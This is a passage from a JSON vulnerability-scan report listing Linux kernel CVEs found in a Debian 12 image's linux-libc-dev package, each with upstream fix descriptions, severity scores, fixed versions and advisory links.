"https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e1ef50dec4695c9d694c9f62cad121d76d92ea31bbfa648837ec4490d576797", "Title": "kernel: net/sched: serialize qdisc_rtab_list against concurrent get/put", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: serialize qdisc_rtab_list against concurrent get/put\n\nqdisc_get_rtab() and qdisc_put_rtab() mutate the process-global singly\nlinked list qdisc_rtab_list and a plain non-atomic 'int refcnt' with no\nlock. This was only safe because every caller historically held the RTNL\nmutex, which serialized all rate-table lookups, inserts and frees.\n\nThat invariant no longer holds. cls_flower sets\nTCF_PROTO_OPS_DOIT_UNLOCKED, so tc_new_tfilter() keeps rtnl_held == false\nfor it and sets TCA_ACT_FLAGS_NO_RTNL. That flag propagates through\ntcf_exts_validate_ex() -\u003e tcf_action_init() -\u003e tcf_action_init_1() -\u003e\ntcf_police_init(), which calls qdisc_get_rtab()/qdisc_put_rtab() with the\nRTNL mutex NOT held. Two RTM_NEWTFILTER requests on different CPUs, each\nadding a flower filter with a police action carrying the same rate, then\nrace on qdisc_rtab_list and on the non-atomic refcnt, leading to a\nuse-after-free / double-free of the kmalloc-2k struct qdisc_rate_table.\nqdisc_rtab_list is a single global (not per-netns), so the corrupted\nobject is shared system-wide.\n\n BUG: KASAN: slab-use-after-free in qdisc_put_rtab+0x12f/0x160\n qdisc_put_rtab+0x12f/0x160\n tcf_police_init+0xda9/0x1590\n tcf_action_init_1+0x460/0x6b0\n tcf_action_init+0x439/0xa40\n tcf_exts_validate_ex+0x42d/0x550\n fl_change+0xddd/0x7da0\n tc_new_tfilter+0xaa7/0x2420\n rtnetlink_rcv_msg+0x95e/0xe90\n which belongs to the cache kmalloc-2k of size 2048\n\nProtect qdisc_rtab_list and the refcount with a dedicated spinlock. The\n(sleeping, GFP_KERNEL) allocation in qdisc_get_rtab() is performed before\ntaking the lock; if a concurrent inserter added an identical table in the\nmeantime the freshly allocated one is freed under the lock, so no\nduplicate is leaked. qdisc_put_rtab() now decrements the refcount and\nunlinks under the same lock.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/security/cve/CVE-2026-68138", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513343", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68138", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:89083", "https://git.kernel.org/stable/c/1b050d09dd1a0ddae83bf012cf4956b7a960235f", "https://git.kernel.org/stable/c/4131dd0b6f67acddd616ed7c244e1d3eedd46e7b", "https://git.kernel.org/stable/c/6e0241f6cbb149d926ee8efee2c734fea71452cf", "https://git.kernel.org/stable/c/8ddc2eb0d2da9c83f54f1e5720525b461b8480c4", "https://git.kernel.org/stable/c/d981098b76756ed71666a27518eeb69883657c43", "https://git.kernel.org/stable/c/f43ee0c0730d6191629b5ee1ceae27b1ebfdc047", "https://git.kernel.org/stable/c/f93c89392bd3b180b5b7abc6fdae8e3dd667a313", "https://git.kernel.org/stable/c/fb29e1b41052488ee3f2d115d4a870497ebd7f7d", "https://linux.oracle.com/cve/CVE-2026-68138.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68138-ffa7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68138", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68138" ], "PublishedDate": "2026-08-10T13:19:59.41Z", "LastModifiedDate": "2026-10-19T21:17:53.507Z" }, { "VulnerabilityID": "CVE-2026-68140", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68140", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d78ce9e04e248be34a5f3a4f2e4fe628162d94eb90efd1978c37db1c06aef10f", "Title": "kernel: net/iucv: fix use-after-free of a severed iucv_path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: fix use-after-free of a severed iucv_path\n\naf_iucv queues not-yet-received message notifications on iucv-\u003emessage_q,\neach holding a raw pointer to the connection's iucv_path. When the peer\nsevers the connection, iucv_sever_path() frees that path with\niucv_path_free() but leaves the notifications queued. A later recvmsg()\ndrains message_q via iucv_process_message_q() and hands the stale path to\nmessage_receive() -- a use-after-free of the freed iucv_path.\n\nDrop the queued notifications when the path is severed; once the path is\ngone they can no longer be received. This also frees the notifications\nleaked when a socket is closed with messages still queued.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-68140", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/stable/c/23658b350b4107e8292045c2044983fd426fa15d", "https://git.kernel.org/stable/c/5f08c5e50bcb4680069bd3f9edd5728308816ded", "https://git.kernel.org/stable/c/900cd6d8119b7f3ae5c4bf82f922ff5957df43db", "https://git.kernel.org/stable/c/99ddb33748698296a6f17b9b34aa3d16a406bb3c", "https://git.kernel.org/stable/c/a5bbaddf69853117f28173c3f5c8fc14c6b2ec82", "https://git.kernel.org/stable/c/be7cc4656eb1f54029610e82d1f0fdd3f9b5ec0a", "https://git.kernel.org/stable/c/c24faf11bd31bfe0500aca12cbdd5a573a954a5d", "https://git.kernel.org/stable/c/f579582c03ed526281a8450159baf1d35099a85f", "https://linux.oracle.com/cve/CVE-2026-68140.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://lore.kernel.org/linux-cve-announce/2026081059-CVE-2026-68140-f4e1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68140", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68140" ], "PublishedDate": "2026-08-10T13:19:59.65Z", "LastModifiedDate": "2026-10-19T21:17:53.71Z" }, { "VulnerabilityID": "CVE-2026-68143", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68143", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4775c777e0000ea2a5ea558b91577f22b602e47fa208a2bbe986580ad6a70b0f", "Title": "kernel: Linux kernel SLIP: Out-of-bounds write due to race condition during MTU change", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: slip: serialize receive against buffer reallocation\n\nsl_realloc_bufs() replaces rbuff and updates buffsize while holding\nsl-\u003elock. slip_receive_buf() reads those fields and writes through rbuff\nwithout holding the lock.\n\nAn MTU change can therefore race with receive processing. An MTU shrink\ncan expose the new smaller rbuff with the old larger bound, causing an\nout-of-bounds write. A receive callback which already loaded the old\nrbuff can instead continue writing after that buffer has been freed.\n\nSerialize receive processing with sl_realloc_bufs() by holding sl-\u003elock\nwhile consuming each receive batch.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-68143", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/stable/c/0e37bbd6d617eb52bace49390e99eaedc1af73ce", "https://git.kernel.org/stable/c/189a550eb7e1dc10018718ddfc46d003ffe58653", "https://git.kernel.org/stable/c/1be09d175b627fad7f6bec7ad27b8a4a99863912", "https://git.kernel.org/stable/c/44401f7dd9940ced7098930ef64f5a332f279fc2", "https://git.kernel.org/stable/c/5d07b178bef511d69558cfc89fe1129258dc39f8", "https://git.kernel.org/stable/c/8180daf2b66155f84ec4f9e3f95488c8a3421716", "https://git.kernel.org/stable/c/eb3836eab47487823f362e6985e170a1e15f20fd", "https://git.kernel.org/stable/c/ee7f9bb9320add61f7b367d7e6cd55e3a3a4d65d", "https://linux.oracle.com/cve/CVE-2026-68143.html", "https://linux.oracle.com/errata/ELSA-2026-68531.html", "https://lore.kernel.org/linux-cve-announce/2026081000-CVE-2026-68143-d624@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68143", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68143" ], "PublishedDate": "2026-08-10T13:20:00.047Z", "LastModifiedDate": "2026-10-19T21:17:54.24Z" }, { "VulnerabilityID": "CVE-2026-68144", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68144", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9d739733eb99c3019f821d41409460377836fe6515b211185df20be05d09a0ab", "Title": "kernel: phonet: pep: fix use-after-free in pep_get_sb()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nphonet: pep: fix use-after-free in pep_get_sb()\n\npep_get_sb() doesn't consider that pskb_may_pull() might have relocated\nthe skb data, and continue to access the older pointer, causing UAF.\n\nReproduced under KASAN:\n\n BUG: KASAN: slab-use-after-free in pep_get_sb+0x234/0x3b0\n Read of size 1 at addr ff11000105510f50 by task repro/157\n pep_get_sb+0x234/0x3b0\n pipe_handler_do_rcv+0x5f7/0xa10\n pep_do_rcv+0x203/0x410\n __sk_receive_skb+0x471/0x4a0\n phonet_rcv+0x5b3/0x6c0\n __netif_receive_skb+0xcc/0x1d0\n\nRefetch the header with skb_header_pointer() after pskb_may_pull(), so\nthe possibly stale pointer is no longer dereferenced. There are better\nways to solve this, but, this is the less instrusive one.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68144", "https://git.kernel.org/stable/c/0f71f852a96af9685858ce59fda34ecbf85c283d", "https://git.kernel.org/stable/c/17f78c0c0d41d738ee236eb6e841e39395188054", "https://git.kernel.org/stable/c/1d81e19fc57a5ee55b4497d01bc0510d76fb9578", "https://git.kernel.org/stable/c/25e3641beb51333bfbb155af2fd2573a61113af2", "https://git.kernel.org/stable/c/8d931a75a38b9bb584a4071f5ebbd52755fc35ee", "https://git.kernel.org/stable/c/a48a889b60f73edb0399a8b08284a2ab0bd0295f", "https://git.kernel.org/stable/c/c4a52cb4da8d57d060b1d52085d25147a238dac2", "https://git.kernel.org/stable/c/df198743859fefba2f824115f8151dd62d7ad6d8", "https://linux.oracle.com/cve/CVE-2026-68144.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081000-CVE-2026-68144-39ce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68144", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68144" ], "PublishedDate": "2026-08-10T13:20:00.217Z", "LastModifiedDate": "2026-10-19T21:17:54.457Z" }, { "VulnerabilityID": "CVE-2026-68156", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68156", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d4f7b64af9714b6765e89886bb815c362bea34318250ee34f2c70e16f1bd71e7", "Title": "kernel: libceph: refresh auth-\u003eauthorizer_buf{,_len} after authorizer update", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: refresh auth-\u003eauthorizer_buf{,_len} after authorizer update\n\nceph_x_create_authorizer() caches au-\u003ebuf-\u003evec.iov_base and\nau-\u003ebuf-\u003evec.iov_len in struct ceph_auth_handshake. These\ncached values are then used by the messenger connect code when\nsending the authorizer.\n\nceph_x_update_authorizer() can rebuild the authorizer when a newer\nservice ticket is available. If the rebuilt authorizer no longer\nfits in the existing buffer, ceph_x_build_authorizer() drops its\nreference to au-\u003ebuf and allocates a new one. If this is the final\nreference, ceph_buffer_put() frees the old ceph_buffer and its\nvec.iov_base, but auth-\u003eauthorizer_buf still points at that freed\nmemory.\n\nA subsequent msgr1 reconnect can therefore queue the stale pointer\nand trigger a KASAN slab-use-after-free in _copy_from_iter() while\ntcp_sendmsg() copies the authorizer.\n\nRefresh auth-\u003eauthorizer_buf and auth-\u003eauthorizer_buf_len after a\nsuccessful authorizer rebuild so the messenger sends the current\nbuffer.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70459", "https://access.redhat.com/security/cve/CVE-2026-68156", "https://bugzilla.redhat.com/2403545", "https://bugzilla.redhat.com/2481940", "https://bugzilla.redhat.com/2481948", "https://bugzilla.redhat.com/2492278", "https://bugzilla.redhat.com/2502218", "https://bugzilla.redhat.com/2513150", "https://bugzilla.redhat.com/2513212", "https://bugzilla.redhat.com/2513222", "https://bugzilla.redhat.com/2513232", "https://bugzilla.redhat.com/2513295", "https://bugzilla.redhat.com/2513453", "https://bugzilla.redhat.com/2516523", "https://bugzilla.redhat.com/2517004", "https://bugzilla.redhat.com/show_bug.cgi?id=2403545", "https://bugzilla.redhat.com/show_bug.cgi?id=2481940", "https://bugzilla.redhat.com/show_bug.cgi?id=2481948", "https://bugzilla.redhat.com/show_bug.cgi?id=2492278", "https://bugzilla.redhat.com/show_bug.cgi?id=2502218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513150", "https://bugzilla.redhat.com/show_bug.cgi?id=2513212", "https://bugzilla.redhat.com/show_bug.cgi?id=2513222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513232", "https://bugzilla.redhat.com/show_bug.cgi?id=2513295", "https://bugzilla.redhat.com/show_bug.cgi?id=2513453", "https://bugzilla.redhat.com/show_bug.cgi?id=2516523", "https://bugzilla.redhat.com/show_bug.cgi?id=2517004", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39964", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68188", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68293", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74518", "https://errata.almalinux.org/9/ALSA-2026-70459.html", "https://errata.rockylinux.org/RLSA-2026:70459", "https://git.kernel.org/stable/c/0060ec912292a550198d8d18ac95b433c92a7091", "https://git.kernel.org/stable/c/2334e9997308305ee4fd508fdfe6086c4150ed60", "https://git.kernel.org/stable/c/26f814187abceee90dbb29a02133adb4786fbb13", "https://git.kernel.org/stable/c/5ecfcd5c05866f185357700b81b461dae4f5ebb2", "https://git.kernel.org/stable/c/75e82e8944ac1efe9fdb88bd2f14d9a031282bdf", "https://git.kernel.org/stable/c/79a273df64238a4ade8b709689a78589f755b8ef", "https://git.kernel.org/stable/c/937d61f86d377a3aa578adae7a3dfcecdddf9d89", "https://git.kernel.org/stable/c/9d37aec9ffe4e743dabc3f84502e9723e17a30d4", "https://linux.oracle.com/cve/CVE-2026-68156.html", "https://linux.oracle.com/errata/ELSA-2026-72468.html", "https://lore.kernel.org/linux-cve-announce/2026081003-CVE-2026-68156-72bf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68156", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68156" ], "PublishedDate": "2026-08-10T13:20:01.78Z", "LastModifiedDate": "2026-10-19T21:17:55.677Z" }, { "VulnerabilityID": "CVE-2026-68159", "VendorIDs": [ 